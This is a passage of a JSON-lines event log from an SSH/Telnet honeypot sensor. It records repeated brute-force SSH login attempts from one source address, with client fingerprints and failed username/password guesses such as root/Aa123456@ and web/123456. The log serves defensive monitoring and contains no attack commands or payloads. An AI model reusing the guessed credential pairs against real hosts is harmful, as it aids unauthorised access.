{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:40.162243Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:40.167887Z","src_ip":"45.156.87.69","session":"4b27ce888c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64268,"dst_ip":"159.203.135.109","dst_port":22,"session":"03b0825cd6dc","protocol":"ssh","message":"New connection: 45.156.87.69:64268 (159.203.135.109:22) [session: 03b0825cd6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:42.483526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:42.518466Z","src_ip":"45.156.87.69","session":"03b0825cd6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:42.607589Z","src_ip":"45.156.87.69","session":"03b0825cd6dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"allen","message":"login attempt [allen/allen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:43.077353Z","src_ip":"45.156.87.69","session":"03b0825cd6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:44.189089Z","src_ip":"45.156.87.69","session":"03b0825cd6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64276,"dst_ip":"159.203.135.109","dst_port":22,"session":"84df67fb73d5","protocol":"ssh","message":"New connection: 45.156.87.69:64276 (159.203.135.109:22) [session: 84df67fb73d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:46.116108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:46.120883Z","src_ip":"45.156.87.69","session":"84df67fb73d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:46.211123Z","src_ip":"45.156.87.69","session":"84df67fb73d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yahya","password":"yahya","message":"login attempt [yahya/yahya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:46.489160Z","src_ip":"45.156.87.69","session":"84df67fb73d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:47.573118Z","src_ip":"45.156.87.69","session":"84df67fb73d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46396,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fff266e30dc","protocol":"telnet","message":"New connection: 152.42.224.71:46396 (10.17.0.5:23) [session: 7fff266e30dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:49.046701Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":28012,"dst_ip":"159.203.135.109","dst_port":22,"session":"80387512a8f3","protocol":"ssh","message":"New connection: 45.156.87.69:28012 (159.203.135.109:22) [session: 80387512a8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:49.578216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:49.585138Z","src_ip":"45.156.87.69","session":"80387512a8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:49.694919Z","src_ip":"45.156.87.69","session":"80387512a8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:50.422883Z","src_ip":"45.156.87.69","session":"80387512a8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:51.507571Z","src_ip":"45.156.87.69","session":"80387512a8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":28026,"dst_ip":"159.203.135.109","dst_port":22,"session":"e264554da844","protocol":"ssh","message":"New connection: 45.156.87.69:28026 (159.203.135.109:22) [session: e264554da844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:53.152367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:53.157130Z","src_ip":"45.156.87.69","session":"e264554da844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46408,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae030f086740","protocol":"telnet","message":"New connection: 152.42.224.71:46408 (10.17.0.5:23) [session: ae030f086740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:53.216205Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:53.260269Z","src_ip":"45.156.87.69","session":"e264554da844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka123","message":"login attempt [kafka/kafka123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:53.876486Z","src_ip":"45.156.87.69","session":"e264554da844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:54.962616Z","src_ip":"45.156.87.69","session":"e264554da844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24494,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0702152c9c","protocol":"ssh","message":"New connection: 45.156.87.69:24494 (159.203.135.109:22) [session: 4e0702152c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:56.817308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:56.822305Z","src_ip":"45.156.87.69","session":"4e0702152c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:56.911248Z","src_ip":"45.156.87.69","session":"4e0702152c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:57.475495Z","src_ip":"45.156.87.69","session":"4e0702152c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:58.564496Z","src_ip":"45.156.87.69","session":"4e0702152c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24502,"dst_ip":"159.203.135.109","dst_port":22,"session":"d199788e6b48","protocol":"ssh","message":"New connection: 45.156.87.69:24502 (159.203.135.109:22) [session: d199788e6b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:00.283903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:00.290711Z","src_ip":"45.156.87.69","session":"d199788e6b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:00.393780Z","src_ip":"45.156.87.69","session":"d199788e6b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:01.124894Z","src_ip":"45.156.87.69","session":"d199788e6b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:02.215087Z","src_ip":"45.156.87.69","session":"d199788e6b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00114178657532,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:02.412387Z","src_ip":"152.42.224.71","session":"516e0a242c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24516,"dst_ip":"159.203.135.109","dst_port":22,"session":"98db8f0406b8","protocol":"ssh","message":"New connection: 45.156.87.69:24516 (159.203.135.109:22) [session: 98db8f0406b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:03.930230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:04.009657Z","src_ip":"45.156.87.69","session":"98db8f0406b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:04.256729Z","src_ip":"45.156.87.69","session":"98db8f0406b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"123456","message":"login attempt [web/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:04.808890Z","src_ip":"45.156.87.69","session":"98db8f0406b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:06.007747Z","src_ip":"45.156.87.69","session":"98db8f0406b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158953666687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:06.103264Z","src_ip":"186.193.55.224","session":"428b8ff33a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"a86643bde08e","protocol":"ssh","message":"New connection: 45.156.87.69:35474 (159.203.135.109:22) [session: a86643bde08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:07.579589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:07.762788Z","src_ip":"45.156.87.69","session":"a86643bde08e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 